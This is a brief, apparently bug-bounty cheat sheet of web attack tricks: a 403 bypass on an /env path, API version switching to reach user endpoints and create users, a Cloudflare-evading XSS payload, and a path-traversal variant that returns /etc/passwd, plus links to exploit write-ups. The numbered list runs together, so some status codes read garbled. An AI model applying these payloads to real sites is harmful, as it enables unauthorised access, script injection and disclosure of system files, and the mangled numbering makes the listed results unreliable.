site[.]com/env => 403 Forbidden site[.]com/env/HTTPS2 => Bypassed

1. GET /v2/users or /v2/users.json -> 4032. GET /v3/users -> 4033. GET /v3/users.json -> 2004. GET /v4/users -> 2005. POST /v4/users -> 200 [Users created]

https://github.com/zeroc00I/AllVideoPocsFromHackerOne/tree/main/weakness

"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//

https://0xjin.medium.com/new-xss-bypass-cloudflare-filters-2a878c01d312

../../etc/passwd = 403 Forbidden../../etc/random/../passwd = 200 OK

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